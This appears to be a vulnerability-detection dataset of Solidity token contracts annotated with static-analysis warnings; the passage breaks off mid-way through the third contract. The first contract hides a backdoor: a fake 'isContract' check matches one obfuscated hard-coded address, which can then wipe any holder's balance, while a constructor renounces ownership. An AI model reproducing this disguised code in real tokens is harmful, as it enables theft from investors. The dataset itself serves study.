files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 23319823584124255113407145075347007913948507 *\n 10 ** 4 +\n 281474976719576;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"🔥TrumpVISTA\", unicode\"🔥TrumpVISTA\", 9, 50000000)\n {}\n}\n",
"file_name": "solidity_code_10538.sol",
"size_bytes": 7322,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract WAGMI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 97c52c0): WAGMI._taxWallet should be immutable \n\t// Recommendation for 97c52c0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: ef122c0): WAGMI._initialBuyTax should be constant \n\t// Recommendation for ef122c0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37090df): WAGMI._initialSellTax should be constant \n\t// Recommendation for 37090df: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d6ce534): WAGMI._reduceBuyTaxAt should be constant \n\t// Recommendation for d6ce534: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2680094): WAGMI._reduceSellTaxAt should be constant \n\t// Recommendation for 2680094: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 28;\n\n\t// WARNING Optimization Issue (constable-states | ID: 353c89b): WAGMI._preventSwapBefore should be constant \n\t// Recommendation for 353c89b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 28;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"We're All Gonna Make It\";\n\n string private constant _symbol = unicode\"WAGMI\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5cf9d23): WAGMI._taxSwapThreshold should be constant \n\t// Recommendation for 5cf9d23: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1100000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fff72b): WAGMI._maxTaxSwap should be constant \n\t// Recommendation for 7fff72b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 11000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e44518d): WAGMI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e44518d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d20b99e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d20b99e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 22c7e15): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 22c7e15: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d20b99e\n\t\t// reentrancy-benign | ID: 22c7e15\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d20b99e\n\t\t// reentrancy-benign | ID: 22c7e15\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b6e04fd): WAGMI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b6e04fd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 22c7e15\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d20b99e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e87ecab): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e87ecab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0b38b23): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0b38b23: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e87ecab\n\t\t\t\t// reentrancy-eth | ID: 0b38b23\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e87ecab\n\t\t\t\t\t// reentrancy-eth | ID: 0b38b23\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0b38b23\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0b38b23\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0b38b23\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e87ecab\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0b38b23\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0b38b23\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e87ecab\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d20b99e\n\t\t// reentrancy-events | ID: e87ecab\n\t\t// reentrancy-benign | ID: 22c7e15\n\t\t// reentrancy-eth | ID: 0b38b23\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d20b99e\n\t\t// reentrancy-events | ID: e87ecab\n\t\t// reentrancy-eth | ID: 0b38b23\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bad9981): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bad9981: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7f20113): WAGMI.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7f20113: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 6fb66f1): WAGMI.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6fb66f1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dc94703): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dc94703: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: bad9981\n\t\t// reentrancy-eth | ID: dc94703\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: bad9981\n\t\t// unused-return | ID: 6fb66f1\n\t\t// reentrancy-eth | ID: dc94703\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: bad9981\n\t\t// unused-return | ID: 7f20113\n\t\t// reentrancy-eth | ID: dc94703\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: bad9981\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: dc94703\n tradingOpen = true;\n }\n\n constructor() {\n _taxWallet = payable(0xAF666BF8f33DA167802915e266577fDA18576ee9);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10539.sol",
"size_bytes": 19877,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n address private _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract ca is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Contract Address\";\n\n string private constant _symbol = \"CA\";\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 1;\n\n uint256 private _redisFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 1;\n\n uint256 private _redisFee = _redisFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: be95283): ca._developmentAddress should be constant \n\t// Recommendation for be95283: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x9077962C8d172bE60CC3393ec361489d0802D461);\n\n address payable private _marketingAddress =\n payable(0x9077962C8d172bE60CC3393ec361489d0802D461);\n\n\t// WARNING Optimization Issue (immutable-states | ID: de7e4e8): ca.uniswapV2Router should be immutable \n\t// Recommendation for de7e4e8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 public _maxTxAmount = 20_000_000 * 10 ** 9;\n\n uint256 public _maxWalletSize = 20_000_000 * 10 ** 9;\n\n uint256 public _swapTokensAtAmount = 50_000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_developmentAddress] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9ba01a4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9ba01a4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 694674b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 694674b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f0b79e4): ca.addPool() ignores return value by uniswapV2Router.addLiquidityETH{value msg.value}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for f0b79e4: Ensure that all the return values of the function calls are used.\n function addPool() public payable onlyOwner {\n\t\t// reentrancy-events | ID: 9ba01a4\n\t\t// reentrancy-benign | ID: 694674b\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n uint256 tokenAmount = balanceOf(address(this));\n\n\t\t// reentrancy-events | ID: 9ba01a4\n\t\t// reentrancy-benign | ID: 694674b\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// unused-return | ID: f0b79e4\n uniswapV2Router.addLiquidityETH{value: msg.value}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function enableTrading() public onlyOwner {\n tradingOpen = true;\n\n swapEnabled = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns 